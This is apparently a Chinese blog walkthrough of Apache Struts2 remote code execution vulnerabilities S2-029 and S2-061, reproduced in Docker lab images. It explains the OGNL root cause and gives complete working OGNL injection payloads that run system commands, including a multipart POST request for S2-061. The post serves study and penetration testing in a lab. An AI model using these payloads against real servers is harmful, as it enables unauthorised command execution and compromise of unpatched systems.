Struts2远程代码执行

Struts2简介
S2-029漏洞复现
S2-061

Struts2简介

Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站

struts框架本身分为三个部分:核心控制器FilterDispatcher、业务控制器Action和用户实现的企业业务逻辑组件。

漏洞介绍:
Struts2漏洞是一个经典的漏洞系列,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。
Struts2执行代码的原理:
Struts2的动态性在于ongl表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到ognl的执行流程中,就会导致任意代码执行漏洞

struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的OGNL代码而已。

Struts2框架特征
查看被测应用系统的源码,URL接口地址以 “.action” “.do” 结尾或地址中包含**“!”**符号,或者在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core-2. * . ** .jar或xwork-core-2. * . **.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞

S2-029漏洞复现

这个框架对于反弹shell不是很容易成功

原理:Struts2的标签库使用OGNL表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。

在Struts2中,如下的标签就调用了OGNL进行取值。
< p >parameters: < s:property value=“#parameters.msg” /></ p>

Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。
影响版本:Struts 2.0.0 - 2.3.24.1(不包括2.3.20.3)
复现步骤:
1、拉取漏洞环境镜像到本地
命令:docker pull medicean/vulapps:s_struts2_s2-029

2、启动漏洞环境
命令:docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-029
在这里插入图片描述

3、访问xxx.xxx.xxx.xxx:8080/default.action
在这里插入图片描述
这里看到没有以.action或者.do结尾,其实他有一个默认的文件default.action和PHP开发的网站类似,有个index.php默认
在这里插入图片描述
这里有提示,正常来说是没有提示的。在URl添加一个参数

手工测试

先用F12来尝试对应的POC
POC:(%23_memberAccess[‘allowPrivateAccess’]=true,%23_memberAccess[‘allowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]=true,%23_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))

Liunx的id,查看当前用户的id信息,我这里可以改成其他命令

注意:有些利用的时候要记得url编码,这里运用了java的函数java.lang.Runtime

在这里插入图片描述
这里用BP更加直观,我下面用的"ls /"命令查看根目录下的文件,不过有些命令比如ifconfig用不了,受限于我们的容器,只能满足一些基本命令
在这里插入图片描述

在这里插入图片描述
就算进入容器里面的这个命令也是不行的,如果是一个真实网站,一定会具备的

工具测试

多个工具都可以
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

S2-061

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

如果出现这种,应该就是端口被占用了,说明需要修改这个端口或者关闭上个靶场,进入这个文件(vim docker-compose.yml),
在这里插入图片描述

前面可以改,后面不可以改。改完之后再次启动
在这里插入图片描述
docker-compose ps //查看当前目录下开启的容器信息
在这里插入图片描述
使用BP
通过右键菜单,或者“Action”下拉菜单的“Change Request Methon”,更改请求类型为POST
在这里插入图片描述
poc为:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”

%{(#instancemanager=#application[“org.apache.tomcat.InstanceManager”]).(#stack=#attr[“com.opensymphony.xwork2.util.ValueStack.ValueStack”]).(#bean=#instancemanager.newInstance(“org.apache.commons.collections.BeanMap”)).(#bean.setBean(#stack)).(#context=#bean.get(“context”)).(#bean.setBean(#context)).(#macc=#bean.get(“memberAccess”)).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance(“java.util.HashSet”)).(#bean.put(“excludedClasses”,#emptyset)).(#bean.put(“excludedPackageNames”,#emptyset)).(#arglist=#instancemanager.newInstance(“java.util.ArrayList”)).(#arglist.add(“id”)).(#execute=#instancemanager.newInstance(“freemarker.template.utility.Execute”)).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF—

//像这种—横线标识是表示上传文件,文件名叫id

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name=“id”

在这里插入图片描述

  • 19
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值